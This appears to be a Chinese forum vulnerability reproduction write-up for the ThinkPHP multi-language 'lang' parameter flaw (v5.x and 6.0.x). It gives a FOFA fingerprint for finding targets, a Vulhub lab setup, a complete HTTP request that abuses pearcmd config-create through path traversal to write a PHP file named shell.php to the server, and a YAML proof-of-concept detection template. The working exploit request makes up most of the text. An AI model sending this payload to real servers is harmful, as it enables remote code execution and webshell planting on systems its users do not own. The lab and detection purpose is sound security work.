漏洞简介
如果 Thinkphp 程序开启了多语言功能,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
影响版本
受影响版本:
v6.0.1 < Thinkphp < v6.0.13
Thinkphp v5.0.x
Thinkphp v5.1.x
fofa指纹
header="think_lang"
漏洞复现
- 注
ThinkPHP多语言特性不是默认开启的,所以我们可以尝试访问lang=../../../../../public/index文件来确认文件包含漏洞是否存在
上述图片可以看到已经500,但是文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:
1、PHP环境开启了register_argc_argv
2、PHP环境安装了pcel/pear
docker搭建环境,直接使用vulnhub环境cd lang-rce docker-compose up -d
访问8080端口
漏洞利用方式:GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36 Connection: close Cache-Control: max-age=0
访问shell.php
?lang=../../../../../public/indexpoc编写
- 注:POST正常请求根目录即可返回正确的标识性cookie,请求其他路径若报404则不返回cookie
params: []
name: ThinkPHP 多语言模块RCE
set: {}
rules:
- method: GET
path: /?lang=../../../../../public/index
headers: {}
body: ""
search: ""
followredirects: false
expression: response.status == 500
- method: POST
path: /
headers: {}
body: lang=../../../../../public/index
search: ""
followredirects: false
expression: response.status == 200 && response.headers["Set-Cookie"].contains("think_lang")
groups: {}
detail:
author: ""
links: []
description: ""
version: ""
请登录后查看回复内容